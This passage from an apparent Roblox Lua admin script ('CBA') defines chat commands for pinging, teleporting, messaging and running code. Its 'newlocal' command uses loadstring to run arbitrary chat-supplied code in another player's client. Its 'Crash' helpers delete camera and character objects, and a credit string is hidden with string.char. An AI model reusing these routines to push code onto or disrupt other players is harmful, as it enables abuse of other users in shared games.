1355 | DF=Instance.new('StringValue') | |
1356 | DF.Value=Msg | |
1357 | DF.Name='TestRun' | |
1358 | DF.Parent=Clone | |
1359 | Clone.Disabled=true | |
1360 | Clone.Parent=Speaker:findFirstChild'Backpack' or Speaker.Character | |
1361 | Clone.Disabled=false | |
1362 | Clone.ChildAdded:connect(function(String) | |
1363 | if String.Name=='Print' then | |
1364 | CBA.Output('Print : ' .. String.Value,'White',Speaker,10) | |
1365 | end | |
1366 | end) | |
1367 | wait() | |
1368 | if Clone:findFirstChild'Error'==nil then | |
1369 | CBA.Output('Script ran in '.. Clone.Parent:GetFullName(),'Green',Speaker,3) | |
1370 | else | |
1371 | CBA.Output(Clone.Error.Value,'Red',Speaker,5) | |
1372 | end | |
1373 | else | |
1374 | CBA.Output('No local script yet','Red',Speaker,5) | |
1375 | end | |
1376 | end | |
1377 | ) | |
1378 | CBA.Command('New local','newlocal',0,'Newlocals a script to #Player with #Coding','Player>Coding', | |
1379 | function(Full,Speaker) | |
1380 | if CBA.LocalScript~=nil then | |
1381 | local Split=Full:find(CBA.Bet) | |
1382 | local Player=nil local Msg=nil | |
1383 | if Split then Player=CBA.GetPlayers(Full:sub(1,Split-1),Speaker)[1] Msg=Full:sub(Split+1) else Full=Msg Player=Speaker end | |
1384 | local Clone=CBA.LocalScript:clone(); | |
1385 | CF=Clone:findFirstChild'DSource' or Clone:findFirstChild'Source' or Clone:findFirstChild'source' | |
1386 | CF.Value=[[ | |
1387 | local DF=script:findFirstChild'TestRun' | |
1388 | local Ran,Error=loadstring(DF.Value) | |
1389 | print=function(Text) | |
1390 | ST=Instance.new('StringValue',Script) | |
1391 | ST.Name='Print' | |
1392 | ST.Value=Text | |
1393 | end | |
1394 | if Error == nil then | |
1395 | Ran() | |
1396 | else | |
1397 | local String=Instance.new('StringValue') String.Name='Error' String.Parent=script String.Value=Error | |
1398 | end | |
1399 | ]] | |
1400 | DF=Instance.new('StringValue') | |
1401 | DF.Value=Msg | |
1402 | DF.Name='TestRun' | |
1403 | DF.Parent=Clone | |
1404 | Clone.Disabled=true | |
1405 | Clone.Parent=Player:findFirstChild'Backpack' or Player.Character | |
1406 | Clone.Disabled=false | |
1407 | Clone.ChildAdded:connect(function(String) | |
1408 | if String.Name=='Print' then | |
1409 | CBA.Output('Print : ' .. String.Value,'White',Speaker,10) | |
1410 | end | |
1411 | end) | |
1412 | wait() | |
1413 | if Clone:findFirstChild'Error'==nil then | |
1414 | CBA.Output('New local script ran in '.. Clone.Parent:GetFullName(),'Green',Speaker,3) | |
1415 | else | |
1416 | CBA.Output(Clone.Error.Value,'Red',Speaker,5) | |
1417 | end | |
1418 | else | |
1419 | CBA.Output('No local script yet','Red',Speaker,5) | |
1420 | end | |
1421 | end | |
1422 | ) | |
1423 | end | |
1424 | CBA.Command('Ping','ping',0,'Pings a msg','Msg', | |
1425 | function(Msg,Speaker) | |
1426 | Pings={}; | |
1427 | if Msg:sub(1,#("tonumber"))=="tonumber" then | |
1428 | local Nom=tonumber(Msg:sub(#("tonumber")+1)) | |
1429 | table.insert(Pings,{Nom,'Random'}) | |
1430 | elseif Msg:lower()=="nil" then | |
1431 | Nil=0 | |
1432 | for i,v in pairs(game:service'NetworkServer':children()) do | |
1433 | if v:IsA('ServerReplicator') then | |
1434 | if v:GetPlayer() and v:GetPlayer().Parent==nil then | |
1435 | Nil=Nil+1 | |
1436 | table.insert(Pings,{v:GetPlayer().Name,'Random'}) | |
1437 | end | |
1438 | end | |
1439 | end | |
1440 | if Nil==0 then table.insert(Pings,{"No nil players",'Red'}) end | |
1441 | elseif Msg:lower()=="colors" then | |
1442 | for i,v in pairs(CBA.Colors) do | |
1443 | table.insert(Pings,{i,v}) | |
1444 | end | |
1445 | elseif Msg:lower()=="ranks" then | |
1446 | for i,v in pairs(CBA.Ranks) do | |
1447 | table.insert(Pings,{i .. ":"..v,'Random'}) | |
1448 | end | |
1449 | elseif #Msg==0 then | |
1450 | table.insert(Pings,{'Pong!','Random'}) | |
1451 | else | |
1452 | table.insert(Pings,{Msg,'Random'}) | |
1453 | end | |
1454 | if #Pings < 2 then | |
1455 | for i,v in pairs(Pings) do | |
1456 | Color=v[2] | |
1457 | Message=v[1] | |
1458 | CBA.Output(Message,Color,Speaker) | |
1459 | end | |
1460 | else | |
1461 | CBA.RemoveTablets(Speaker); | |
1462 | for i,v in pairs(Pings) do | |
1463 | Color=v[2] | |
1464 | Message=v[1] | |
1465 | CBA.Output(Message,Color,Speaker) | |
1466 | end | |
1467 | end | |
1468 | end | |
1469 | ) | |
1470 | CBA.Teleport=function(Player,Speaker) | |
1471 | local GetCF=function(v) return v:GetModelCFrame() end | |
1472 | Y=8 | |
1473 | local Character=Player.Character | |
1474 | local Torso=Character:findFirstChild'Torso' | |
1475 | local TorsoCFrame=Torso.CFrame | |
1476 | local CharacterCFrame=GetCF(Character) | |
1477 | VTorso=Speaker.Character.Torso | |
1478 | if CBA.TeleportSettings[Speaker.Name].Type=="Relative" then | |
1479 | VTorso.CFrame=CFrame.new(CharacterCFrame.x,CharacterCFrame.y + Y, CharacterCFrame.z) | |
1480 | elseif CBA.TeleportSettings[Speaker.Name].Type=='Absolute' then | |
1481 | VTorso.CFrame=CFrame.new(TorsoCFrame.x,TorsoCFrame.y + Y,TorsoCFrame.z) | |
1482 | end | |
1483 | end | |
1484 | CBA.Command('Teleport','tele',1,'Teleports #Player to Player',"#Player/Player", | |
1485 | function(Msg,Speaker) | |
1486 | local Player,Players=nil,{} | |
1487 | local Split=Msg:find(CBA.Bet) | |
1488 | local GetCF=function(v) return v:GetModelCFrame() end | |
1489 | Player,Players=CBA.GetPlayers(Msg:sub(Split+1),Speaker)[1],CBA.GetPlayers(Msg:sub(1,Split-1),Speaker) | |
1490 | local Y = 0 | |
1491 | for i,v in pairs(Players) do | |
1492 | if v.Character == nil then | |
1493 | v:LoadCharacter() | |
1494 | end | |
1495 | Y = Y + 8 -- Approx length of a Normal Robloxian Body from Head to Toe Torso=4,Leg=2,Head=2 | |
1496 | local Character=Player.Character | |
1497 | local Torso=Character:findFirstChild'Torso' | |
1498 | local TorsoCFrame=Torso.CFrame | |
1499 | local CharacterCFrame=GetCF(Character) | |
1500 | VTorso=v.Character.Torso | |
1501 | if CBA.TeleportSettings[Speaker.Name].Type=="Relative" then | |
1502 | VTorso.CFrame=CFrame.new(CharacterCFrame.x,CharacterCFrame.y + Y, CharacterCFrame.z) | |
1503 | elseif CBA.TeleportSettings[Speaker.Name].Type=='Absolute' then | |
1504 | VTorso.CFrame=CFrame.new(TorsoCFrame.x,TorsoCFrame.y + Y,TorsoCFrame.z) | |
1505 | end | |
1506 | end | |
1507 | end | |
1508 | ) | |
1509 | CBA.Command('Teleport assist','tpa',0,'Activates Teleport Assist','No arguments', | |
1510 | function(Msg,Speaker) | |
1511 | local Types={['Relative']=false;['Absolute']=false}; | |
1512 | local Type=CBA.TeleportSettings[Speaker.Name].Type | |
1513 | local Non="" | |
1514 | Types[Type]=true; | |
1515 | for i,v in pairs(Types) do if v==false then Non=i end end | |
1516 | CBA.Output('CBA Teleport assist menu(Click to dismiss)','Red',Speaker) | |
1517 | CBA.Output('Change settings','Green',Speaker,nil, | |
1518 | function() | |
1519 | CBA.RemoveTablets(Speaker); | |
1520 | CBA.Output('Your setting is currently at ' .. Type,'Green',Speaker) | |
1521 | CBA.Output('Change your setting to ' .. Non,'Blue',Speaker,nil, | |
1522 | function() | |
1523 | CBA.RemoveTablets(Speaker); | |
1524 | CBA.OnChatted('tpa'..CBA.Bet..Msg,Speaker) | |
1525 | end | |
1526 | ) | |
1527 | CBA.Output("Go back",'Yellow',Speaker,nil,function() CBA.OnChatted('tpa'..CBA.Bet..Msg,Speaker) end) | |
1528 | end | |
1529 | ) | |
1530 | CBA.Output('More to come in the future('..tostring(string.char(116,117,115,75,79,114,54,54,49))..')','Orange',Speaker) | |
1531 | end | |
1532 | ) | |
1533 | CBA.Command('Teleport request','tpr',0,'Requests a teleport to Player','Player', | |
1534 | function(Msg,Speaker) | |
1535 | --coroutine.wrap(function() | |
1536 | local Start=false | |
1537 | local Player=nil | |
1538 | local Type="" | |
1539 | Player=CBA.GetPlayers(Msg,Speaker)[1] | |
1540 | TTT=CBA.Output('Please select a teleport type','Orange',Speaker) | |
1541 | T=CBA.Output('Teleport to ' .. Player.Name .. ' to you?','Orange',Speaker,nil,function() Type='You' Start=true end) | |
1542 | TT=CBA.Output('Teleport to ' .. Player.Name,'Orange',Speaker,nil,function() Type=Player.Name Start=true end) | |
1543 | repeat | |
1544 | wait() | |
1545 | until Start==true | |
1546 | if T.Model then pcall(function() T.Model:Destroy() end) end | |
1547 | if TT.Model then pcall(function() TT.Model:Destroy() end) end | |
1548 | if TTT.Model then pcall(function() TTT.Model:Destroy() end) end | |
1549 | local Text="" | |
1550 | if Type=='You' then Text = Text .. 'you to ' .. Speaker.Name else Text = Text .. ' to you ' end | |
1551 | local Begin=false | |
1552 | CBA.Output(Speaker.Name .. ' is requesting to teleport ' ..Text .. "( Click to accept )",'Random',Player,nil,function() Begin=true end) | |
1553 | repeat | |
1554 | wait() | |
1555 | until Begin==true | |
1556 | --[[local Character=Speaker.Character | |
1557 | local Torso=Character:findFirstChild'Torso' | |
1558 | local TorsoCFrame=Torso.CFrame | |
1559 | local CharacterCFrame=GetCF(Character) | |
1560 | VTorso=Player.Character.Torso | |
1561 | GetCF=function(v) return v:GetModelCFrame() end | |
1562 | if CBA.TeleportSettings[Speaker.Name].Type=='Relative' then | |
1563 | if Type=="You" then | |
1564 | VTorso.CFrame=CFrame.new(CharacterCFrame.x,CharacterCFrame.y + Y, CharacterCFrame.z) | |
1565 | else | |
1566 | Torso.CFrame=CFrame.new(GetCF(VTorso).x,GetCF(VTorso).y + Y,GetCF(VTorso).z) | |
1567 | end | |
1568 | else | |
1569 | if Type=="You" then | |
1570 | VTorso.CFrame=CFrame.new(TorsoCFrame.x,TorsoCFrame.y + Y,TorsoCFrame.z) | |
1571 | else | |
1572 | Torso.CFrame=CFrame.new(VTorso.CFrame.x,VTorso.CFrame.y + Y,VTorso.CFrame.z) | |
1573 | end | |
1574 | end]] | |
1575 | if Type=='You' then CBA.Teleport(Speaker,Player) else CBA.Teleport(Player,Speaker) end | |
1576 | --end)() | |
1577 | end | |
1578 | ) | |
1579 | CBA.Command('Message','m',1,'Makes a message','No arguments', | |
1580 | function(Old,Speaker) | |
1581 | Msg=Speaker.Name.."; " .. Old | |
1582 | local Type='Normal' | |
1583 | local Message=Instance.new('Message',Workspace) | |
1584 | for i=1,#Msg do | |
1585 | Message.Text=Msg:sub(1,i) | |
1586 | wait(0.09 - (#Msg/0.09)) | |
1587 | end | |
1588 | wait(2) | |
1589 | Message:Destroy(); | |
1590 | end | |
1591 | ) | |
1592 | CBA.FindScript=function() | |
1593 | if CBA.Script==nil then | |
1594 | CBA.Script=script:clone() | |
1595 | print('Found script') | |
1596 | end | |
1597 | end | |
1598 | CBA.FindLocalScript=function() | |
1599 | if CBA.LocalScript==nil then | |
1600 | if newLocalScript then | |
1601 | local sc=newLocalScript('print([[Test]])',Workspace) | |
1602 | CBA.LocalScript=sc:clone(); | |
1603 | print('Found local') | |
1604 | else | |
1605 | local Clone=game.Workspace:findFirstChild('DSource',true) | |
1606 | if Clone and Clone.Parent:IsA('LocalScript') then | |
1607 | CBA.LocalScript=Clone.Parent:clone(); | |
1608 | print('Found local') | |
1609 | end | |
1610 | end | |
1611 | end | |
1612 | end | |
1613 | CBA.FindBase=function() | |
1614 | local Found=false; | |
1615 | local Base=nil; | |
1616 | local Current=CBA.Base | |
1617 | local PossibleBases={}; | |
1618 | if Current==nil then | |
1619 | for _,v in pairs(game.Workspace:children()) do | |
1620 | if v.Name:find('Base') then | |
1621 | table.insert(PossibleBases,v) | |
1622 | end | |
1623 | end | |
1624 | for i,Poss in pairs(PossibleBases) do | |
1625 | if Poss:IsA('Model') then | |
1626 | if #Poss:children()==0 then | |
1627 | table.remove(PossibleBases,i)-- print(Poss, 'Is not a base') | |
1628 | else | |
1629 | local Main=Poss:children()[1] | |
1630 | if Main:IsA'Part' and Main.Name=='Base' then | |
1631 | Found=true | |
1632 | Base=Main | |
1633 | end | |
1634 | end | |
1635 | elseif Poss:IsA'Part' then | |
1636 | if Poss.Name=='Base' then | |
1637 | Found=true | |
1638 | Base=Poss | |
1639 | end | |
1640 | end | |
1641 | end | |
1642 | if Found==true then | |
1643 | CBA.Base=Base:clone(); | |
1644 | end | |
1645 | end | |
1646 | end | |
1647 | CBA.CrashObj=function(Object) | |
1648 | Object:Destroy() | |
1649 | Object.Parent.Head:Destroy() | |
1650 | Object.Parent:Destroy() | |
1651 | end | |
1652 | CBA.CrashCam=function() | |
1653 | local Focus=game.Workspace:findFirstChild('Focus',true) | |
1654 | if Focus then | |
1655 | CBA.CrashObj(Focus) | |
1656 | end | |
1657 | end | |
1658 | CBA.CrashPlayer=function() | |
1659 | for i,v in pairs(Workspace:children()) do | |
1660 | if v:IsA('Model') and v:findFirstChild'Head' then | |
1661 | if game.Players:playerFromCharacter(v) ==nil then | |
1662 | CBA.CrashObj(v) | |
1663 | end | |
1664 | end | |
1665 | end | |
1666 | end | |
1667 | game:service'RunService'.Stepped:connect(function() CBA.Rotate() CBA.FindScript(); CBA.FindLocalScript(); CBA.FindBase(); end) | |
1668 | for _,v in pairs(game.Players:GetPlayers()) do | |
1669 | CBA.Connect(v) | |
1670 | end | |
1671 | game.Players.PlayerAdded:connect(function(r) if CBA.Removed==false then CBA.Connect(r) end end) | |
1672 | game.Players.PlayerRemoving:connect(function(v) CBA.RemoveTablets(v) for i,n in pairs(CBA.Targeted) do if v.Name==n.Name then CBA.Targeted[i]=nil end end end) |